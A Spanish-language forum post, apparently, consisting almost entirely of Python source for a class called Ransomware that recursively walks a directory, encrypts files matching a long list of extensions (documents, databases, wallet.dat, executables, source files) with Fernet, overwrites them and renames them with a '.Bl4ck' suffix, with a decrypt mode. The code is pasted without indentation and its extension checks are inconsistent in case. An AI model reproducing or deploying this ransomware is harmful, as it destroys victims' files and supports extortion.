Un saludo
Código: Seleccionar todo
import subprocess
from cryptography.fernet
import Fernet
import ntpath
import os
from sys
import argv
import shutil
import sys
class Ransomware:
def __init__(self, path): #Constructor de la clase
self.path = path
self.filePath = str(argv[0])
self.delta = ''
self.fernet_key = ''
self.decryption_key = ''
def generateFernetKey(self, control): #Generamos la key
key = Fernet.generate_key()
if (control == 0):
with open(self.path + 'Key.key', 'wb') as keyFile:
keyFile.write(key)
keyFile.close()
return open(self.path + 'Key.key', 'rb').read()
def digest_bytes(self, file_data): #Ciframos los bytes
return self.fernet_key.encrypt(file_data)
def barf_bytes(self, file_data):
return self.fernet_key.decrypt(file_data) #Desciframos los bytes
def main_function(self, delta, control_variable, file_size): #Funcion principal para cifrar los archivos de la ruta dada recursivamente
try:
self.fernet_key = Fernet(delta)
for root, directory, files_list in os.walk(self.path):
if 'appdata' not in root.lower():
for files in files_list:
try:
file_path = os.path.join(root, files)
extension = str(os.path.splitext(file_path)[1]).lower()
if self.protect_file(file_path) and self.extension_validation(extension, control_variable) and self.maximun_size(file_path, file_size):
if control_variable == 0:
self.generate_protection(file_path, self.digest_bytes(self.get_file_bytes(file_path)), control_variable)
else:
self.generate_protection(file_path, self.barf_bytes(self.get_file_bytes(file_path)), control_variable)
except:
pass
except:
pass
def protect_file(self, file_name):
if os.path.basename(argv[0]) not in file_name and 'Key.key' not in file_name: #Proteger la key y al mismo ransomware
return True
else:
return False
def extension_validation(self, extension, control_value): #Manejador de extensiones
if control_value == 0:
if extension in self.valid_extension():
return True
else:
return False
else:
if extension == '.bl4ck':
return True
else:
return False
def maximun_size(self, file_name, size):
if os.path.getsize(file_name) / 1000000 < size:
return True
else:
return False
def get_file_bytes(self, file_name): #Devuelve los bytes del archivo
with open(file_name, 'rb') as file:
file_data = file.read()
return file_data
def generate_protection(self, file_name, data, control_value): #Sobreescribir archivos y cambiar la extensión
new_data = data
with open(file_name, 'wb') as file:
file.write(new_data)
if control_value == 0:
os.rename(file_name, file_name + '.Bl4ck')
else:
os.rename(file_name, file_name.replace('.Bl4ck', ''))
def valid_extension(self): #Extensiones válidas
valid_extension = ['.txt', '.aiff', 'aif', '.au', '.avi', '.bat', '.bmp', '.class', '.java', '.csv', '.cvs', '.dbf', '.dif', '.doc', '.docx', '.eps',
'.exe', '.fm3', '.gif', '.hqx','.htm', '.html', '.jpg', '.jpeg', '.mac', '.map', '.mdb', '.mid', '.midi', '.mov', '.qt', '.mtb','.mtw', '.pdf',
'.png','.ppt', '.pptx', '.psd', '.qxd', '.ra', '.rtf', '.sit', '.tar', '.tif','.wav', '.wk3', 'wks', '.wpd', '.wp5', '.xls', '.xlsw', '.zip', '.rar', '.7z',
'.vbs', '.py', 'pl','.css', '.jar', '.ico', '.key', '.wallet.dat', '.SQLITE3', '.mp3', '.mp4', '.srt', '.dat', '.php', '.sql', '.c', '.usp',
'.db','.conf','.dll', '.reg', '.ttf', '.md', '.xml', '.version', '.status', '.mar', '.odt', '.xlsx', '.json', '.conf', '.pl', '.sh', '.bak', '.pptx', '.cpp','.spec', '.pyc', '.pyw', '.dtd', '.xsd']
return valid_extension
def start(self, control, tamaño):
self.main_function(self.generateFernetKey(control), control, tamaño) #Llamamos a la funcion principal con los parametros: key, control para saber si es de cifrar o descifrar y el máximo tamaño de archivo
ransomware = Ransomware('Ruta a cifrar')
control = int(input("0 para cifrar, 1 para descifrar: "))
tamaño = int(input("Maximo tamaño de archivo (MB): "))
ransomware.start(control, tamaño)